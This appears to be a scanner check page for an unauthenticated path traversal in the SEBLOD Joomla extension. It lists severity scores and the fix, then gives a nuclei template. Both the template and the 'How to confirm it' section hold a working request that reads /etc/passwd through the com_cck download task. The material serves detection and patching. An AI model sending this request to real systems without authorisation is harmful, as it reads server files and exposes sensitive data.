SEBLOD for Joomla < 3.30.0/< 4.7.0/< 6.0.1 - Path Traversal

criticalseverity

9.2CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

Joomla Extension SEBLOD < 3.30.0, < 4.7.0, < 6.0.1 contains an unauthenticated path traversal caused by improper validation of file paths, letting unauthenticated attackers download files inside and outside the webroot, exploit requires no authentication.

Impact

Unauthenticated attackers can download arbitrary files, potentially exposing sensitive information.

Fix

Update to SEBLOD 3.30.0, 4.7.0, 6.0.1 or later.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_cck&task=download&file=tmp/../../../../etc/passwd
Positive when: status_code == 200 and regex("root:[x*!]:0:0:", body) and contains(all_headers, "Content-Disposition")

Run it with nuclei: nuclei -id CVE-2026-66914 -u <target>

The full check

id: CVE-2026-66914

info:
  name: SEBLOD for Joomla < 3.30.0/< 4.7.0/< 6.0.1 - Path Traversal
  author: Het Kalariya
  severity: critical
  description: |
    Joomla Extension SEBLOD < 3.30.0, < 4.7.0, < 6.0.1 contains an unauthenticated path traversal caused by improper validation of file paths, letting unauthenticated attackers download files inside and outside the webroot, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can download arbitrary files, potentially exposing sensitive information.
  remediation: |
    Update to SEBLOD 3.30.0, 4.7.0, 6.0.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-66914
    - https://www.seblod.com/
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-66914
    epss-score: 0.01535
    epss-percentile: 0.75047
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: seblod
    product: seblod
  tags: cve,cve2026,joomla,seblod,lfi,path-traversal,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cck&task=download&file=tmp/../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:[x*!]:0:0:", body)'
          - 'contains(all_headers, "Content-Disposition")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from